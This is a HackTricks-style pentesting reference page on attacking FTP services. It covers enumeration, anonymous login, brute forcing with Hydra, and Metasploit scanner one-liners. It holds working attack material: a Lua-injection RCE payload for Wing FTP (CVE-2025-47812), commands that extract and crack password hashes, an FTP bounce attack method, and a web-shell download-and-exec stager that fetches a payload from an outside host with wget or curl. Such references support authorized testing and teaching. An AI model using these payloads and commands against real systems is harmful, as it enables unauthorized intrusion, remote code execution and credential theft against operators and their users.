// HackTricks · Network Services

21 - Pentesting FTP

21 - Pentesting FTP

Basic information[7]

The File Transfer Protocol (FTP) is a standard protocol for transferring files between a client and server over a computer network.
Its control channel is plaintext and terminates lines with CRLF (0x0d 0x0a), so raw testing may require Telnet or nc -C.

Default Port: 21

PORT   STATE SERVICE
21/tcp open  ftp

Active and passive connections

In active FTP, the client initiates the control connection from its port N to the FTP server’s command port, TCP/21. The client then listens on a data port and advertises it to the server with PORT or EPRT. The server initiates the data connection to the client’s advertised port.

Active FTP can fail when a client-side firewall blocks inbound data connections. Passive FTP avoids this issue by having the client initiate both connections.

In passive FTP, the client initiates the control connection to TCP/21 and issues PASV or EPSV. The server returns a listening data port, and the client initiates the data connection to that server port.[6][7]

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/[6]

Connection debugging

The FTP client’s debug and trace commands can show how the communication occurs.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

Connect to FTP using starttls

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

With nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

Use HELP and FEAT to obtain information about the FTP server:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
 PROT
 CCC
 PBSZ
 AUTH TLS
 MFF modify;UNIX.group;UNIX.mode;
 REST STREAM
 MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
 UTF8
 EPRT
 EPSV
 LANG en-US
 MDTM
 SSCN
 TVFS
 MFMT
 SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Anonymous login

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Here you can find a nice list with default ftp credentials: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Automated

Nmap performs anonymous-login and FTP-bounce checks with the -sC option, or you can invoke all FTP scripts explicitly:

nmap --script ftp-* -p 21 <ip>

FTP URL handling

An FTP URL has the following form, although current browsers no longer provide built-in FTP clients; Firefox removed FTP support in version 90. Use a dedicated client such as lftp or FileZilla instead.[8]

ftp://anonymous:anonymous@10.10.10.98

If a web application sends user-controlled data directly to an FTP server, double-encoded CRLF bytes (%250d%250a) may permit FTP command injection. Possible effects include downloading content from an attacker-controlled server, scanning ports, or interacting with another plaintext protocol such as HTTP.

Wing FTP Server (web client RCE + credential recovery)

If the HTTP interface returns a header like Server: Wing FTP Server(Free Edition) or the footer exposes v7.4.3 / < 7.4.4, test the web client, not only TCP/21. In some deployments anonymous with a blank password works in the web login too, which is important because CVE-2025-47812 is exploitable with any valid account, including anonymous when enabled.[3][4]

Bug class: the web login validates the username only up to \0, but the full submitted value is later written into the user Lua session file. Wing FTP stores session state as code such as:[3]

_SESSION['username']=[[<username>]]
_SESSION['ipaddress']=[[127.0.0.1]]

If the username starts with a valid account and then injects a value like anonymous\0]] ... --, the long string closes and attacker-controlled Lua is executed when the session cookie is reused on pages like /dir.html:[3]

anonymous\0]]
local h = io.popen("id")
print(h:read("*a"))
h:close()
--
  • Prefix before \0 passes authentication (anonymous, real user, or admin).
  • ]] closes _SESSION['username']=[[...]].
  • io.popen() gives command execution as the Wing FTP service account (root/SYSTEM by default in many real installs).
  • -- comments the trailing ]] appended by Wing FTP.

Wing FTP post-exploitation: file-based hashes

Wing FTP often stores users and admins in XML below the install Data/ directory, commonly:[2]

Data/_ADMINISTRATOR/admins.xml
Data/1/users/*.xml

Useful checks after landing on the host:

find /opt/wftpserver/Data -name '*.xml' | xargs grep -i -e '<Password>' -e 'EnableSHA256' -e 'EnablePasswordSalting' -e 'SaltingString'

If the config shows:

<EnableSHA256>1</EnableSHA256>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

passwords are stored as SHA256(password + salt). A quick formatter for Hashcat mode 1410 (sha256($pass.$salt)) is:[2][5]

grep -r "<Password>" /opt/wftpserver/Data | sed -E 's#.*/([^/]+)\.xml:.*<[^>]+>([0-9a-fA-F]+)</[^>]+>.*#\1:\2:WingFTP#' > wingftp.hashes
hashcat -m 1410 --user wingftp.hashes <wordlist>

This is especially useful when application users map to local OS users and password reuse gives SSH or su access.[2]

Download all files from FTP

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

If your user/password has special characters, the following command can be used:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapped to webroot (XAMPP)

  • XAMPP/ProFTPD often maps FTP root to /opt/lampp/htdocs, so weak creds on service accounts like daemon or nobody let you upload a PHP web shell directly into the served webroot.[1]
  • After uploading, trigger an architecture-aware download/exec stager via the shell, for example: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), which fetches a checksum-validated payload, saves it (e.g., init_start), sets chmod +x, and runs it.
  • If the current directory is not writable/executable, the stager falls back to /tmp, so test web paths and filesystem permissions after upload.

Some FTP commands[7]

  • USER username
  • PASS password
  • HELP The server indicates which commands are supported
  • PORT 127,0,0,1,0,80 tells the FTP server to connect to 127.0.0.1 on port 80. The final two decimal fields encode the 16-bit port as p1*256 + p2.
  • EPRT |1|127.0.0.1|80| tells the FTP server to establish a TCP connection to IPv4 address 127.0.0.1 on port 80. Address-family value 2 selects IPv6.
  • LIST This will send the list of files in current folder
    • LIST -R List recursively (if allowed by the server)
  • APPE /path/something.txt This will indicate the FTP to store the data received from a passive connection or from a PORT/EPRT connection to a file. If the filename exists, it will append the data.
  • STOR /path/something.txt Like APPE but it will overwrite the files
  • STOU /path/something.txt stores the uploaded data under a unique server-generated filename.
  • RETR /path/to/file requires an established active or passive data connection, through which the server sends the requested file.
  • REST 6 tells the server that the next RETR transfer should resume at byte offset 6.
  • TYPE i Set transfer to binary
  • PASV asks the server to listen for a passive data connection and return the address and port to the client.
  • PUT /tmp/file.txt Upload indicated file to the FTP

FTP root mapped to webroot (XAMPP) - Some FTP commands: PUT /tmp/file.txt Upload indicated file to the FTP

FTPBounce attack

Some FTP servers allow the PORT command to specify an arbitrary destination for the server’s data connection. This behavior can be abused to scan a host’s ports through the FTP server.

Learn here how to abuse a FTP server to scan ports.

You could also abuse this behaviour to make a FTP server interact with other protocols. You could upload a file containing an HTTP request and make the vulnerable FTP server send it to an arbitrary HTTP server (maybe to add a new admin user?) or even upload a FTP request and make the vulnerable FTP server download a file for a different FTP server.
The theory is easy:

  1. Upload the request (inside a text file) to the vulnerable server. Remember that if you want to talk with another HTTP or FTP server you need to change lines with 0x0d 0x0a
  2. Use REST X to avoid sending the characters you don’t want to send (maybe to upload the request inside the file you needed to put some image header at the beginning)
  3. Use PORT to connect to the arbitrary server and service.
  4. Use RETR to send the saved request to the server.

This will probably return an error such as Socket not writable because the connection may not remain open long enough for RETR to send the data. Possible workarounds include:

  • If you are sending an HTTP request, put the same request one after another until ~0.5MB at least. Like this:

Posts.Txt

  • Try to fill the request with “junk” data relative to the protocol (talking to FTP maybe just junk commands or repeating the RETRinstruction to get the file)
  • Just fill the request with a lot of null characters or others (divided on lines or not)

Anyway, here you have an old example about how to abuse this to make a FTP server download a file from a different FTP server.

Filezilla Server Vulnerability

FileZilla usually binds to local an Administrative service for the FileZilla-Server (port 14147). If you can create a tunnel from your machine to access this port, you can connect to it using a blank password and create a new user for the FTP service.

Config files

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

The default configuration of vsFTPd can be found in /etc/vsftpd.conf. In here, you could find some dangerous settings:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Directory for anonymous.
  • chown_uploads=YES - Change ownership of anonymously uploaded files
  • chown_username=username - User who is given ownership of anonymously uploaded files
  • local_enable=YES - Enable local users to login
  • no_anon_password=YES - Do not ask anonymous for password
  • write_enable=YES - Allow commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE

Shodan

  • ftp
  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for FTP
  Note: |
    Anonymous Login
    -bi     <<< so that your put is done via binary

    wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
    ^^to download all dirs and files

    wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
    if PASV transfer is disabled

    https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
  Name: Banner Grab
  Description: Grab FTP Banner via telnet
  Command: telnet -n {IP} 21

Entry_3:
  Name: Cert Grab
  Description: Grab FTP Certificate if existing
  Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
  Name: nmap ftp
  Description: Anon login and bounce FTP checks are performed
  Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
  Name: Browser Connection
  Description: Connect with Browser
  Note: ftp://anonymous:anonymous@{IP}

Entry_6:
  Name: Hydra Brute Force
  Description: Need Username
  Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
  Name: consolesless mfs enumeration ftp
  Description: FTP enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

References